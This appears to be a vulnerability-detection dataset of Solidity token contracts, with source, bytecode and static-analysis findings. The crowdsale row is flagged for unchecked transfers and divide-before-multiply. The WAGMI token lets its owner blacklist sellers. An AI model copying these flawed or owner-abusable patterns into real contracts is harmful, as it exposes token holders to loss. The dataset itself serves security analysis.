event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function TrypCrowdsale () public payable {
totalSupply_ = INITIAL_SUPPLY;
remainingSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be sent
uint256 tokens = _getTokenAmount(weiAmount);
require(tokens <= remainingSupply_);
// update state
weiRaised = weiRaised.add(weiAmount);
_deliverTokens(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
// Set rate in ETH * 1000
function setRate (uint256 _ethPriceToday) public onlyOwner {
require(_ethPriceToday != 0);
weiPerToken = (_ethPriceToday * 1e18)/1000;
}
/**
* @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal pure {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
remainingSupply_ -= _tokenAmount;
}
// Use to correct any token transaction errors
function deliverTokensAdmin(address _beneficiary, uint256 _tokenAmount) public onlyOwner {
token.transfer(_beneficiary, _tokenAmount);
remainingSupply_ -= _tokenAmount;
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 _tokens = ((_weiAmount/weiPerToken) * 1e18);
return (_tokens);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
uint total_eth = (msg.value);
uint prize_pool = (total_eth * 50)/100; // 50% to Main Prize Pool
uint prize_pool_sec = (total_eth * 10)/100; // 10% to Secondary Prize Pool
uint admin_pool = (total_eth-prize_pool-prize_pool_sec); // Remainder to Admin Pool
prizewallet.transfer(prize_pool);
prize2wallet.transfer(prize_pool_sec);
adminwallet.transfer(admin_pool);
}
}
|
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610133578063095ea7b3146101c157806318160ddd1461021b57806323b872dd146102445780632ff2e9dc146102bd578063313ce567146102e6578063324536eb1461030f57806334fcf437146103385780634042b66f1461035b578063661884631461038457806370a08231146103de5780638da5cb5b1461042b57806395d89b4114610480578063a4534ef71461050e578063a9059cbb14610537578063bb47663714610591578063d73dd623146105d3578063dab8263a1461062d578063dd62ed3e14610656578063ec8ac4d8146106c2578063f2fde38b146106f0578063fc0c546a14610729575b6101313361077e565b005b341561013e57600080fd5b610146610849565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018657808201518184015260208101905061016b565b50505050905090810190601f1680156101b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101cc57600080fd5b610201600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e7565b604051808215151515815260200191505060405180910390f35b341561022657600080fd5b61022e6109d9565b6040518082815260200191505060405180910390f35b341561024f57600080fd5b6102a3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109e3565b604051808215151515815260200191505060405180910390f35b34156102c857600080fd5b6102d0610d9d565b6040518082815260200191505060405180910390f35b34156102f157600080fd5b6102f9610dab565b6040518082815260200191505060405180910390f35b341561031a57600080fd5b610322610db1565b6040518082815260200191505060405180910390f35b341561034357600080fd5b6103596004808035906020019091905050610db7565b005b341561036657600080fd5b61036e610e44565b6040518082815260200191505060405180910390f35b341561038f57600080fd5b6103c4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e4a565b604051808215151515815260200191505060405180910390f35b34156103e957600080fd5b610415600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110db565b6040518082815260200191505060405180910390f35b341561043657600080fd5b61043e611123565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048b57600080fd5b610493611149565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d35780820151818401526020810190506104b8565b50505050905090810190601f1680156105005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561051957600080fd5b6105216111e7565b6040518082815260200191505060405180910390f35b341561054257600080fd5b610577600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111ed565b604051808215151515815260200191505060405180910390f35b341561059c57600080fd5b6105d1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061140c565b005b34156105de57600080fd5b610613600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611558565b604051808215151515815260200191505060405180910390f35b341561063857600080fd5b610640611754565b6040518082815260200191505060405180910390f35b341561066157600080fd5b6106ac600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061175a565b6040518082815260200191505060405180910390f35b6106ee600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061077e565b005b34156106fb57600080fd5b610727600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117e1565b005b341561073457600080fd5b61073c611939565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008034915061078e838361195f565b610797826119af565b9050600b5481111515156107aa57600080fd5b6107bf826009546119d590919063ffffffff16565b6009819055506107cf83826119f3565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a3610844611ae3565b505050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108df5780601f106108b4576101008083540402835291602001916108df565b820191906000526020600020905b8154815290600101906020018083116108c257829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a2057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a6d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610af857600080fd5b610b49826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bdc826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cad82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b69d3c21bcecceda100000081565b60065481565b600a5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1357600080fd5b60008114151515610e2357600080fd5b6103e8670de0b6b3a76400008202811515610e3a57fe5b0460088190555050565b60095481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f5b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fef565b610f6e8382611c1990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111df5780601f106111b4576101008083540402835291602001916111df565b820191906000526020600020905b8154815290600101906020018083116111c257829003601f168201915b505050505081565b600b5481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561122a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561127757600080fd5b6112c8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061135b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146857600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561152c57600080fd5b5af1151561153957600080fd5b505050604051805190505080600b600082825403925050819055505050565b60006115e982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60085481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561187957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561199b57600080fd5b600081141515156119ab57600080fd5b5050565b600080670de0b6b3a7640000600854848115156119c857fe5b0402905080915050919050565b60008082840190508381101515156119e957fe5b8091505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611ab757600080fd5b5af11515611ac457600080fd5b505050604051805190505080600b600082825403925050819055505050565b600080600080349350606460328502811515611afb57fe5b0492506064600a8502811515611b0d57fe5b04915081838503039050736efd9391db718deff494c2199cd83e0efc8102f673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515611b6b57600080fd5b73426570e5b796a2845c700b4b49058e097f7dcb5473ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515611bbf57600080fd5b73e7d718cc663784480ebb62a672180fbb68f8942473ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611c1357600080fd5b50505050565b6000828211151515611c2757fe5b8183039050929150505600a165627a7a7230582008265265e29b80a9e9c26785d8b433c72befc8e2efede0feaf5b0ec21233925c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 8,483 |
0xF44Aa05A967FC13A58865fA9bA572692EAb21Ca0
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WAGMI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeRewards = 1;
uint256 private _feeTeam = 2;
uint256 private _feeMarketing = 9;
address payable private _feeAddrMarketing;
address payable private _feeAddrTeam;
string private constant _name = "WAGMI";
string private constant _symbol = "WAGMI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrMarketing = payable(0xdb3DE262b99D1E2D3ef6C5cbB57F4293F7a5E8F5);
_feeAddrTeam = payable(0xdb3DE262b99D1E2D3ef6C5cbB57F4293F7a5E8F5);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrMarketing] = true;
_isExcludedFromFee[_feeAddrTeam] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 marketingPecentage = _feeMarketing.mul(10000).mul(10**9).div(_feeMarketing.add(_feeTeam));
uint256 amountToMarketing = marketingPecentage.mul(amount).div(10000).div(10**9);
uint256 amountToTeam = amount.sub(amountToMarketing);
_feeAddrMarketing.transfer(amountToMarketing);
_feeAddrTeam.transfer(amountToTeam);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrTeam);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrTeam);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeRewards, _feeTeam.add(_feeMarketing));
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 feeTax, uint256 feeTeam) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(feeTax).div(100);
uint256 tTeam = tAmount.mul(feeTeam).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063f2fde38b146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612c16565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061276d565b61045e565b6040516101789190612bfb565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612d98565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061271a565b610490565b6040516101e09190612bfb565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612680565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612e0d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906127f6565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612680565b610786565b6040516102b19190612d98565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612b2d565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612c16565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061276d565b610990565b60405161035b9190612bfb565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906127ad565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906126da565b6110b4565b6040516103ef9190612d98565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190612680565b61113b565b005b60606040518060400160405280600581526020017f5741474d49000000000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112fd565b8484611305565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d8484846114d0565b61055e846104a96112fd565b6105598560405180606001604052806028815260200161351160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ae9092919063ffffffff16565b611305565b600190509392505050565b6105716112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612cf8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff